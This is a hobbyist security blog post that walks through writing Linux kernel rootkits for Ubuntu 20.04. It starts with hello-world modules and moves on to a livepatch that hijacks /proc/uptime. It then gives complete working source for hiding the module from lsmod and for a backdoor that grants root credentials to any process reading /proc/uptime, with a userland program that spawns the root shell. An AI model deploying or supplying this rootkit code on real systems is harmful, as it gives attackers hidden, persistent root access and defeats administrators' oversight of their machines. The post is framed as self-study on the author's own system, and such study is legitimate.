Becoming a rat in your system

April 19, 2021 // echel0n

Becoming a rat in your own system

This week I have completed the rootkit challenge from pwnablekr. I had a problem with finding the kernel headers (3.7.1) in that challenge. Then, decided to patch the original challenge file and I've failed in that part too. My friend helped with the patching steps of it. I completed the task but I was not very satisfied. Then I wondered how current rootkits are being placed. All examples are valid for Ubuntu 20.04 and 5.8 kernel version.

Are you bored from being only a user in your own system?
Do you want to feel closer to your computer while using it?
You have second personality and don't you want your otherside to know what you're doing on the computer?
Do you want to look cool among your friends?
Ricing* userland is not enough?
Are you ready????? It's time to divBUG: unable to handle kernel NULL pointer dereference at 0000000000000002 IP: [<0000000000000002>] 0x2 PGD 0 Oops: 0010 [#1] SMP last sysfs file: /sys/devices/system/cpu/online CPU 7 Modules linked in: nfs nfsd lockd nfs_acl auth_rpcgss sunrpc 8021q garp stp llc cpufreq_ondemand freq_table pcc_cpufreq cachefiles fscache(T) ipv6 ipt_REJECT nf_conntrack_ipv4 nf_defrag_ipv4 xt_state nf_conntrack iptable_filter ip_tables xfs exportfs ext2 power_meter acpi_ipmi ipmi_si ipmi_msghandler microcode iTCO_wdt iTCO_vendor_support hpilo hpwdt igb i2c_algo_bit i2c_core ptp pps_core sg serio_raw lpc_ich mfd_core ioatdma dca shpchp ext4 jbd2 mbcache sd_mod crc_t10dif hpsa ahci dm_mirror dm_region_hash dm_log dm_mod [last unloaded: scsi_wait_scan] Pid: 42993, comm: kslowd002 Tainted: G -- ------------ T 2.6.32-642.1.1.el6.x86_64 #1 HP ProLiant DL360e Gen8 RIP: 0010:[<0000000000000002>] [<0000000000000002>] 0x2 RSP: 0018:ffff880100003dd8 EFLAGS: 00010202 RAX: ffffffffa0465a80 RBX: ffff8801bc7da200 RCX: ffff8801bc7da2a8 RDX: 0000000000000002 RSI: 00000000ffffffff RDI: ffff8801bc7da200 RBP: ffff880100003e20 R08: ffffffff81ad12d8 R09: fe2582cc8764a601 R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8801bc7da248 R14: ffff8801bc7da290 R15: 00000000ffffffff FS: 0000000000000000(0000) GS:ffff8800380e0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 0000000000000002 CR3: 0000000001a8d000 CR4: 00000000000407e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process kslowd002 (pid: 42993, threadinfo ffff880100000000, task ffff88040d88d520) Stack: ffffffffa0460e9f ffff880100003e00 ffff8801bc7da238 ffff8801bc7da298 <d> 0000000000000002 ffffffff81f55ec0 ffff8801bc7da290 ffff8801bc7da298 <d> 0000000000000001 ffff880100003e60 ffffffff81121363 ffff880100003e60 Call Trace: [<ffffffffa0460e9f>] ? fscache_object_slow_work_execute+0xaf/0x1c0 [fscache] [<ffffffff81121363>] slow_work_execute+0x233/0x310 [<ffffffff81121645>] slow_work_thread+0x205/0x360 [<ffffffff810a6ac0>] ? autoremove_wake_function+0x0/0x40 [<ffffffff81121440>] ? slow_work_thread+0x0/0x360 [<ffffffff810a662e>] kthread+0x9e/0xc0 [<ffffffff8100c28a>] child_rip+0xa/0x20 [<ffffffff810a6590>] ? kthread+0x0/0xc0 [<ffffffff8100c280>] ? child_rip+0x0/0x20 Code: Bad RIP value. RIP [<0000000000000002>] 0x2 RSP <ffff880100003dd8> CR2: 0000000000000002e

[*] [Ricing]
  1. Making improvements to a system that don't actually do anyone any good, and can sometimes have negative ramifications

>Rootkits

Let's start with definiton! In "WRITING A SIMPLE ROOTKIT FOR LINUX" article, it is very well described.

Original article link is dead, archive.org link here.

omni:
What is a rootkit? When you break into sb's system you will probably want to be able to "come back" there after some time. When you install a rootkit in that system you will be able to get administrator privileges whenever you want. Good rootkits can hide in compromised system, so that they can't be found by administrator.

  1. Errm...
  2. yeah i am the administrator in my personal computer.
  3. I havent found a malware that hidden on my system.
  4. What do you mean by that, they can hide somewhere I can't see?
  5. If... What if somebody already broke into my computer and installed rootkits for years?
  6. What if they backdoored all installer iso images of mine?
  7. Please? are you there? can you say something?
  8. E

With elite google skillz, I found a really 1337 guy, xcellerator. He is quite active on his website. His articles contain tremendous informations.

Before compiling and throwing gang signs

  1. $ sudo apt-get install build-essential linux-headers-$(uname -r)

What exactly are Linux kernel headers?

Header files define interfaces to functions as well as structures used by programs. In the case of the kernel header files, these functions and structures are within the kernel itself. If you are compiling a device driver or other loadable module which links into the kernel then you need the header files.

>The Simplest LKM (Linux Kernel Module)

TLDP | Hello, World (part 1): The Simplest Module

Let's start with tldp.org example

  1. /*
  2. * hello-1.c - The simplest kernel module.
  3. */
  4. #include <linux/module.h> /* Needed by all modules */
  5. #include <linux/kernel.h> /* Needed for KERN_INFO */
  6. int init_module(void)
  7. {
  8. printk(KERN_INFO "Hello world 1.\n");
  9. /*
  10. * A non 0 return means init_module failed; module can't be loaded.
  11. */
  12. return 0;
  13. }
  14. void cleanup_module(void)
  15. {
  16. printk(KERN_INFO "Goodbye world 1.\n");
  17. }

It is a valid hello world module and ready to compile but the function names are not required to be init_module & cleanup_module anymore. Here is a better hello world module below.

  1. #include <linux/init.h>
  2. #include <linux/module.h>
  3. #include <linux/kernel.h>
  4. static int __init my_first_lkm_init(void)
  5. {
  6. printk(KERN_INFO "Hello, World!\n");
  7. return 0;
  8. }
  9. static void __exit my_first_lkm_exit(void)
  10. {
  11. printk(KERN_INFO "Goodbye, World!\n");
  12. }
  13. module_init(my_first_lkm_init);
  14. module_exit(my_first_lkm_exit);
  15. /*
  16. * can be seen in modinfo example.ko
  17. */
  18. MODULE_LICENSE("GPL");
  19. MODULE_AUTHOR("UNLEASHED");
  20. MODULE_DESCRIPTION("A E S T H E T I C M O D U L E");
  21. MODULE_VERSION("42.69");

Create a file named as Makefile

  1. # warning: change example.o with your .c filename
  2. obj-m += example.o
  3. all:
  4. make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
  5. clean:
  6. make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Then run make command in bash.

  1. $ modinfo example.ko
  2. filename: /home/unleashed/rootkits/example.ko
  3. version: 42.69
  4. description: A E S T H E T I C M O D U L E
  5. author: UNLEASHED
  6. license: GPL
  7. srcversion: 1D9B7998FA4226B2B729D4F
  8. depends:
  9. retpoline: Y
  10. name: example
  11. vermagic: 5.8.0-43-generic SMP mod_unload

It's ready to be load, load the module with insmod command.

  1. $ sudo insmod example.ko
  2. $ dmesg | tail
  3. [ 7.101138] audit: type=1400 audit(1618494843.063:11): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/{,usr/}sbin/dhclient" pid=730 comm="apparmor_parser"
  4. [ 7.272028] NET: Registered protocol family 40
  5. [ 8.646946] e1000: ens33 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
  6. [ 8.647995] IPv6: ADDRCONF(NETDEV_CHANGE): ens33: link becomes ready
  7. [ 13.382117] rfkill: input handler disabled
  8. [ 41.156004] rfkill: input handler enabled
  9. [ 49.571363] rfkill: input handler disabled
  10. [ 2931.521334] example: loading out-of-tree module taints kernel.
  11. [ 2931.521372] example: module verification failed: signature and/or required key missing - tainting kernel
  12. [ 2931.522413] Hello, World!
  13. $ sudo rmmod example
  14. $ dmesg | tail
  15. [ 7.272028] NET: Registered protocol family 40
  16. [ 8.646946] e1000: ens33 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
  17. [ 8.647995] IPv6: ADDRCONF(NETDEV_CHANGE): ens33: link becomes ready
  18. [ 13.382117] rfkill: input handler disabled
  19. [ 41.156004] rfkill: input handler enabled
  20. [ 49.571363] rfkill: input handler disabled
  21. [ 2931.521334] example: loading out-of-tree module taints kernel.
  22. [ 2931.521372] example: module verification failed: signature and/or required key missing - tainting kernel
  23. [ 2931.522413] Hello, World!
  24. [ 2971.527637] Goodbye, World!

Changing kernel functions behaviour

Let's say, you have a really critical server that must be run without a downtime. One day, some deadly vulnerabilities are found in that server's kernel version. At this point, you have to upgrade your system and reboot it to run with new patched kernel right? It was like that until 2008. But now "Live Patching" is available. It allows us to keep our Linux servers kernels up-to-date without the need to reboot.

We can check the source code that provided in linux samples.

livepatch-sample.c example github link

It overwrites /proc/cmdline. Let's do another example that overwrites another thing!

I choose uptime_proc_show function in fs/proc/uptime.c.

uptime.c github link
  1. #include <linux/kernel.h>
  2. #include <linux/livepatch.h>
  3. #include <linux/seq_file.h>
  4. static int livepatch_uptime_proc_show(struct seq_file *m, void *v)
  5. {
  6. seq_printf(m, "%s\n", "i stole your uptime! no uptime information for you. feck off...");
  7. return 0;
  8. }
  9. static struct klp_func funcs[] = {
  10. {
  11. .old_name = "uptime_proc_show",
  12. .new_func = livepatch_uptime_proc_show,
  13. }, { }
  14. };
  15. static struct klp_object objs[] = {
  16. {
  17. /* name being NULL means vmlinux */
  18. .funcs = funcs,
  19. }, { }
  20. };
  21. static struct klp_patch patch = {
  22. .mod = THIS_MODULE,
  23. .objs = objs,
  24. };
  25. static int livepatch_init(void)
  26. {
  27. return klp_enable_patch(&patch);
  28. }
  29. static void livepatch_exit(void)
  30. {
  31. }
  32. module_init(livepatch_init);
  33. module_exit(livepatch_exit);
  34. /*
  35. * can be seen in modinfo example.ko
  36. */
  37. MODULE_LICENSE("GPL");
  38. MODULE_AUTHOR("UNLEASHED");
  39. MODULE_DESCRIPTION("A E S T H E T I C M O D U L E");
  40. MODULE_VERSION("42.69");
  41. MODULE_INFO(livepatch, "Y");
  1. $ make
  2. make -C /lib/modules/5.8.0-43-generic/build M=/home/unleashed/rootkits/livepatch_example modules
  3. make[1]: Entering directory '/usr/src/linux-headers-5.8.0-43-generic'
  4. make[1]: Leaving directory '/usr/src/linux-headers-5.8.0-43-generic'
  5. $ sudo insmod livepatch.ko
  6. $ cat /proc/uptime
  7. i stole your uptime! no uptime information for you. feck off...
  8. $ sudo su
  9. # echo 0 > /sys/kernel/livepatch/livepatch/enabled
  10. # rmmod livepatch
  11. # cat /proc/uptime
  12. 5818.87 23138.95

It's pretty cool! huh?

So far so good, we could compile our LKM and patched our kernel without boot. There's still one problem. The problem is these modules can be seen in lsmod output and it can be detectable from even userspace.

  1. $ dmesg | tail -n 5
  2. [ 5809.501167] livepatch: 'livepatch': starting unpatching transition
  3. [ 5811.046974] livepatch: 'livepatch': unpatching complete
  4. [ 6498.631116] livepatch: enabling patch 'livepatch'
  5. [ 6498.632878] livepatch: 'livepatch': starting patching transition
  6. [ 6500.067149] livepatch: 'livepatch': patching complete
  1. $ lsmod | grep -i livepatch
  2. livepatch 16384 1

You could think that, there must be a list for that right? Yeah, your guess is right. xcellerator explained the doubly-linked lists in his blog (Linked Lists in the Kernel). If we look the source code of module.h, module struct has list_head struct. It has prev and next nodes, which is best way to track loaded modules. This struct looks like this;

  1. #define LIST_HEAD_INIT(name) { &(name), &(name) }
  2. #define LIST_HEAD(name) \
  3. struct list_head name = LIST_HEAD_INIT(name)
  4. static inline void INIT_LIST_HEAD(struct list_head *list)
  5. {
  6. list->next = list;
  7. list->prev = list;
  8. }
struct module line: 358 github link LIST_HEAD(name) line: 20 github link

It means, while loading our module, we have to get the real list then remove our module from this list. Important thing is, we must keep a copy of what we removed from that list to add it back later when we want. Try to understand the code below.

  1. #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
  2. #include <linux/module.h>
  3. #include <linux/kernel.h>
  4. #include <linux/livepatch.h>
  5. #include <linux/seq_file.h>
  6. #include <linux/init.h>
  7. static struct list_head *prev_module;
  8. void show_the_module_again(void)
  9. {
  10. /* add the module again the loaded modules list */
  11. list_add(&THIS_MODULE->list, prev_module);
  12. }
  13. void hide_this_module(void)
  14. {
  15. /* There will be a loaded module when we are loading ourselves.
  16. * We must save our previous module to get back in the same place again.
  17. * */
  18. prev_module = THIS_MODULE->list.prev;
  19. /* say goodbye! */
  20. list_del(&THIS_MODULE->list);
  21. }
  22. static int livepatch_uptime_proc_show(struct seq_file *m, void *v)
  23. {
  24. seq_printf(m, "%s\n", "i stole your uptime! no uptime information for you. feck off...");
  25. return 0;
  26. }
  27. static struct klp_func funcs[] = {
  28. {
  29. .old_name = "uptime_proc_show",
  30. .new_func = livepatch_uptime_proc_show,
  31. }, { }
  32. };
  33. static struct klp_object objs[] = {
  34. {
  35. /* name being NULL means vmlinux */
  36. .funcs = funcs,
  37. }, { }
  38. };
  39. static struct klp_patch patch = {
  40. .mod = THIS_MODULE,
  41. .objs = objs,
  42. };
  43. static int livepatch_init(void)
  44. {
  45. hide_this_module();
  46. return klp_enable_patch(&patch);
  47. }
  48. static void livepatch_exit(void)
  49. {
  50. }
  51. module_init(livepatch_init);
  52. module_exit(livepatch_exit);
  53. /*
  54. * can be seen in modinfo example.ko
  55. */
  56. MODULE_LICENSE("GPL");
  57. MODULE_AUTHOR("UNLEASHED");
  58. MODULE_DESCRIPTION("A E S T H E T I C M O D U L E");
  59. MODULE_VERSION("42.69");
  60. MODULE_INFO(livepatch, "Y");

Let's compile and install the module and see if it is in lsmod output.

  1. $ cat /proc/uptime
  2. i stole your uptime! no uptime information for you. feck off...
  3. $ lsmod | grep -i livepatch
  4. $

Yeah, we completely changed internal behaviours somehow and hide it successfully. Warning! If your module is a live patch, it will appear in dmesg.

Need something more powerful than this

These examples are really not doing so much other than jokes. We need something more related with unintended privilege escalations. Before diving that area we must know system("/bin/bash", NULL, NULL) equivalent of kernel mode. These are commit_creds() and prepare_creds()

prepare_creds on line:237 github link commit_creds on line:437 github link
  1. /* Definition from cred.c
  2. * prepare_creds - Prepare a new set of credentials for modification
  3. * Prepare a new set of task credentials for modification. A task's creds
  4. * shouldn't generally be modified directly, therefore this function is used to
  5. * prepare a new copy, which the caller then modifies and then commits by
  6. * calling commit_creds().
  7. * returns struct cred*
  8. */
  9. ...
  10. ...
  11. struct cred *new;
  12. ...
  13. validate_creds(new);
  14. return new;

What is this struct cred? It's also defined in include/linux/cred.h line: 111

cred.h github link
  1. struct cred {
  2. atomic_t usage;
  3. #ifdef CONFIG_DEBUG_CREDENTIALS
  4. atomic_t subscribers; /* number of processes subscribed */
  5. void *put_addr;
  6. unsigned magic;
  7. #define CRED_MAGIC 0x43736564
  8. #define CRED_MAGIC_DEAD 0x44656144
  9. #endif
  10. kuid_t uid; /* real UID of the task */
  11. kgid_t gid; /* real GID of the task */
  12. kuid_t suid; /* saved UID of the task */
  13. kgid_t sgid; /* saved GID of the task */
  14. kuid_t euid; /* effective UID of the task */
  15. kgid_t egid; /* effective GID of the task */
  16. kuid_t fsuid; /* UID for VFS ops */
  17. kgid_t fsgid; /* GID for VFS ops */
  18. unsigned securebits; /* SUID-less security management */
  19. kernel_cap_t cap_inheritable; /* caps our children can inherit */
  20. kernel_cap_t cap_permitted; /* caps we're permitted */
  21. kernel_cap_t cap_effective; /* caps we can actually use */
  22. kernel_cap_t cap_bset; /* capability bounding set */
  23. kernel_cap_t cap_ambient; /* Ambient capability set */
  24. #ifdef CONFIG_KEYS
  25. unsigned char jit_keyring; /* default keyring to attach requested
  26. * keys to */
  27. struct key *session_keyring; /* keyring inherited over fork */
  28. struct key *process_keyring; /* keyring private to this process */
  29. struct key *thread_keyring; /* keyring private to this thread */
  30. struct key *request_key_auth; /* assumed request_key authority */
  31. #endif
  32. #ifdef CONFIG_SECURITY
  33. void *security; /* subjective LSM security */
  34. #endif
  35. struct user_struct *user; /* real user ID subscription */
  36. struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
  37. struct group_info *group_info; /* supplementary groups for euid/fsgid */
  38. /* RCU deletion */
  39. union {
  40. int non_rcu; /* Can we skip RCU deletion? */
  41. struct rcu_head rcu; /* RCU deletion hook */
  42. };
  43. }

So it means if we set manually this struct's various privileges to zero in our module. Maybe we can carry this privilege to userland and get root in a unintended way.

Preparation

Let's write our function that prepares these steps.

  1. void escalate_me(void)
  2. {
  3. // define mentioned struct above
  4. struct cred *root_privileges;
  5. // when we call prepare_creds like this the function returns the current privileges;
  6. root_privileges = prepare_creds();
  7. // if something is bad, directly exit from this function
  8. if(root_privileges == NULL) return;
  9. // let's change related privileges to zero
  10. root_privileges->uid.val = root_privileges->gid.val = 0;
  11. root_privileges->euid.val = root_privileges->egid.val = 0;
  12. root_privileges->suid.val = root_privileges->sgid.val = 0;
  13. root_privileges->fsuid.val = root_privileges->fsgid.val = 0;
  14. // commit privileged prepared credentials to calling process
  15. commit_creds(root_privileges);
  16. }

For the lulz, let's give that privileges whoever does cat /proc/uptime. Yeah whyyy not? hahahah! The new module is below.

  1. #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
  2. #include <linux/init.h>
  3. #include <linux/module.h>
  4. #include <linux/kernel.h>
  5. #include <linux/version.h>
  6. #include <linux/livepatch.h>
  7. #include <linux/seq_file.h>
  8. void escalate_me(void)
  9. {
  10. // define mentioned struct above
  11. struct cred *root_privileges;
  12. // when we call prepare_creds like this the function returns the current privileges;
  13. root_privileges = prepare_creds();
  14. // if something is bad, directly exit from this function
  15. if(root_privileges == NULL) return;
  16. // let's change related privileges to zero
  17. root_privileges->uid.val = root_privileges->gid.val = 0;
  18. root_privileges->euid.val = root_privileges->egid.val = 0;
  19. root_privileges->suid.val = root_privileges->sgid.val = 0;
  20. root_privileges->fsuid.val = root_privileges->fsgid.val = 0;
  21. // commit privileged prepared credentials to calling process
  22. commit_creds(root_privileges);
  23. }
  24. static int livepatch_uptime_proc_show(struct seq_file *m, void *v)
  25. {
  26. seq_printf(m, "%s\n", "i stole your uptime! no uptime information for you. feck off...");
  27. escalate_me();
  28. return 0;
  29. }
  30. static struct klp_func funcs[] = {
  31. {
  32. .old_name = "uptime_proc_show",
  33. .new_func = livepatch_uptime_proc_show,
  34. }, { }
  35. };
  36. static struct klp_object objs[] = {
  37. {
  38. /* name being NULL means vmlinux */
  39. .funcs = funcs,
  40. }, { }
  41. };
  42. static struct klp_patch patch = {
  43. .mod = THIS_MODULE,
  44. .objs = objs,
  45. };
  46. static int livepatch_init(void)
  47. {
  48. return klp_enable_patch(&patch);
  49. }
  50. static void livepatch_exit(void)
  51. {
  52. }
  53. module_init(livepatch_init);
  54. module_exit(livepatch_exit);
  55. MODULE_LICENSE("GPL");
  56. MODULE_AUTHOR("UNLEASHED");
  57. MODULE_DESCRIPTION("A E S T H E T I C M O D U L E");
  58. MODULE_VERSION("42.69");

The important thing is, we must use the same process after reading uptime. The module commiting the privileges after reading /proc/uptime. Let's create a user program that abuses this.

  1. /*
  2. * for the lulz
  3. * author: echel0n
  4. *
  5. */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <assert.h>
  10. #define FILENAME "/proc/uptime"
  11. void read_uptime(void)
  12. {
  13. FILE *f;
  14. char c;
  15. f = fopen(FILENAME, "r");
  16. if (f == NULL) {
  17. printf("[-] Failed to open \n");
  18. exit(-1);
  19. }
  20. c = fgetc(f);
  21. while (c != EOF){
  22. printf ("%c", c);
  23. c = fgetc(f);
  24. }
  25. }
  26. void get_shell() {
  27. char *argv[] = {"/bin/sh", NULL};
  28. if (getuid() == 0){
  29. printf("[+] BRO NICE ROOTKIT 5/7 rated LMFAO \nbash4.20$ blaze it\n");
  30. execve("/bin/sh", argv, NULL);
  31. }
  32. printf("[-] nice try but no\n");
  33. }
  34. int main(int argc, char *argv[])
  35. {
  36. read_uptime();
  37. assert( getuid() == 0 );
  38. get_shell();
  39. return 0;
  40. }
  1. user_program $ ./a.out
  2. i stole your uptime! no uptime information for you. feck off...
  3. [+] BRO NICE ROOTKIT 5/7 rated LMFAO
  4. bash4.20$ blaze it
  5. #

Yey! Our system backdoored by ourselves successfully!

Thank you for reading my blog! Have a nice day absolute legends!